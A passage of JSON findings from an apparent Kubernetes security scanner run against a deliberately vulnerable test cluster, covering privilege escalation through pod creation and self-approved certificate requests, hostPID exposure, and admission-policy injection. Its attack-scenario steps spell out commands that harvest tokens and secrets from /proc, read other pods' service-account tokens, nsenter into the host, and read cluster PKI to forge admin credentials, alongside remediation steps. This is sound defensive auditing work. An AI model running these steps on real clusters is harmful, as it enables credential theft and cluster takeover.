        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-ESCAPE-002:Deployment:vulnerable:host-ns-app",
    "rule_id": "KUBE-ESCAPE-002",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Pod shares host PID namespace (`hostPID: true`) in `Deployment/vulnerable/host-ns-app`",
    "description": "Workload `Deployment/vulnerable/host-ns-app` sets `spec.hostPID: true`, joining the host's PID namespace. Every process on the node (kubelet, container runtime, other tenant workloads, sshd, cloud-init agents) is visible via `/proc` and addressable by PID from inside this pod.\n\nThe risk is twofold. First, information disclosure: `/proc/\u003cpid\u003e/environ`, `/proc/\u003cpid\u003e/cmdline`, and `/proc/\u003cpid\u003e/root/...` leak environment variables (which often contain database passwords, cloud credentials, and Kubernetes service-account tokens), CLI args, and arbitrary file contents from other containers' rootfs. Second, when combined with CAP_SYS_PTRACE or `privileged: true`, an attacker can `nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash` and land directly in the host's mount namespace as root.\n\nBishop Fox's `bad-pods` library and `kdigger`'s `processes` bucket grep `/proc/*/environ` for `AWS_`, `KUBE_`, `DATABASE_URL`, and service-account JWTs. Even without extra capabilities, host-PID alone is enough to harvest cleartext credentials from neighboring pods on the same node. This is a classic noisy-neighbor escalation primitive (TeamTNT, Hildegard).",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "Read process arguments, environment variables, and `/proc/\u003cpid\u003e/root` of every other pod on the node; harvest service-account tokens and cloud credentials from neighbors.",
    "attack_scenario": [
      "Gain code execution in the pod with `hostPID: true`.",
      "Enumerate processes: `ps -ef` shows host kubelet, runc, and sibling containers.",
      "Loot environments: `for p in /proc/[0-9]*/environ; do tr '\\0' '\\n' \u003c $p; done | grep -iE 'token|secret|aws|key'`.",
      "Read other pods' service-account tokens via `cat /proc/\u003cpid\u003e/root/var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "If CAP_SYS_PTRACE or privileged is also present, `nsenter -t 1 -a` to land in the host root namespace and persist via SSH key or systemd unit."
    ],
    "evidence": {
      "hostPID": true
    },
    "remediation": "Set `spec.hostPID: false` (or omit it; the default is false).",
    "remediation_steps": [
      "Identify why hostPID was set; legitimate uses are limited to node-monitoring DaemonSets like node-exporter.",
      "Remove `hostPID: true` from the pod template (or set explicitly to `false`).",
      "Apply Pod Security Admission `baseline`: `kubectl label ns \u003cns\u003e pod-security.kubernetes.io/enforce=baseline`.",
      "Validate with `kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.hostPID}'` returning empty or `false`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://www.cisecurity.org/benchmark/kubernetes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Kubernetes Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.2.2 — Minimize containers sharing host PID",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1057",
        "name": "Process Discovery",
        "url": "https://attack.mitre.org/techniques/T1057/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.2",
        "title": "Minimize the admission of containers wishing to share the host process ID namespace",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostPID"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/cert-manager/cert-manager::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/cert-manager/cert-manager` can rewrite every admitted object",
    "description": "Subject ServiceAccount/cert-manager/cert-manager can write `mutatingadmissionpolicies` (via ClusterRoleBinding `cutres-deputy-cm-admin` : ClusterRole `cluster-admin`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `cutres-deputy-cm-admin` : ClusterRole `cluster-admin`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=cert-manager -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=cert-manager -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-deputy-cm-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/cert-manager/cert-manager. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=cert-manager -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/cutres/cutres-detour::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/cutres/cutres-detour` can rewrite every admitted object",
    "description": "Subject ServiceAccount/cutres/cutres-detour can write `mutatingadmissionpolicies` (via ClusterRoleBinding `cutres-detour-direct` : ClusterRole `cluster-admin`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `cutres-detour-direct` : ClusterRole `cluster-admin`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=cutres-detour -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=cutres-detour -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-detour-direct",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/cutres/cutres-detour. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=cutres-detour -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/cutres/cutres-parallel::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/cutres/cutres-parallel` can rewrite every admitted object",
    "description": "Subject ServiceAccount/cutres/cutres-parallel can write `mutatingadmissionpolicies` (via ClusterRoleBinding `cutres-parallel-a` : ClusterRole `cluster-admin`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `cutres-parallel-a` : ClusterRole `cluster-admin`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=cutres-parallel -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=cutres-parallel -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-parallel-a",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/cutres/cutres-parallel. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=cutres-parallel -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/deepchain-tenant/deepchain-privileged::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/deepchain-tenant/deepchain-privileged` can rewrite every admitted object",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-privileged can write `mutatingadmissionpolicies` (via ClusterRoleBinding `deepchain-privileged` : ClusterRole `cluster-admin`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `deepchain-privileged` : ClusterRole `cluster-admin`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=deepchain-privileged -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=deepchain-privileged -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-privileged",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/deepchain-tenant/deepchain-privileged. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=deepchain-privileged -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
